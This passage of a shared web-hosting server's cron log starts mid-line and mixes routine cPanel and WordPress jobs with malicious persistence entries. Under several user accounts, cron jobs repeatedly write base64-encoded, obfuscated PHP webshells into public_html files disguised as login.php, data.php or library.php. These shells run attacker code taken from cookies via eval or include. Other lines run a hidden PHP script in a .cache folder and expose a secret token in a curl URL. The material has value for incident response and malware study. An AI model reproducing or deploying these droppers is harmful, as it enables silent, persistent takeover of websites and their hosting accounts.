AgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:10:01 medusa CROND[30264]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:11:02 medusa CROND[13387]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:11:02 medusa CROND[13388]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:11:02 medusa CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:11:02 medusa CROND[13392]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:11:02 medusa CROND[13391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:11:02 medusa CROND[13393]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:11:02 medusa CROND[13395]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:11:02 medusa CROND[13396]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:11:02 medusa CROND[13410]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:11:02 medusa CROND[13411]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:11:02 medusa CROND[13412]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:11:02 medusa CROND[13413]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:11:02 medusa CROND[13409]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:12:02 medusa CROND[31664]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:12:02 medusa CROND[31665]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:12:02 medusa CROND[31666]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:12:02 medusa CROND[31668]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:12:02 medusa CROND[31669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:12:02 medusa CROND[31672]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:12:02 medusa CROND[31671]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:12:02 medusa CROND[31673]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:12:02 medusa CROND[31676]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:12:02 medusa CROND[31677]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:12:02 medusa CROND[31681]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:12:02 medusa CROND[31682]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:12:02 medusa CROND[31687]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:12:02 medusa CROND[31689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:13:01 medusa CROND[20852]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:13:01 medusa CROND[20853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:13:01 medusa CROND[21278]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:13:01 medusa CROND[21279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:13:01 medusa CROND[21280]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:13:01 medusa CROND[21281]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:13:01 medusa CROND[21285]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1v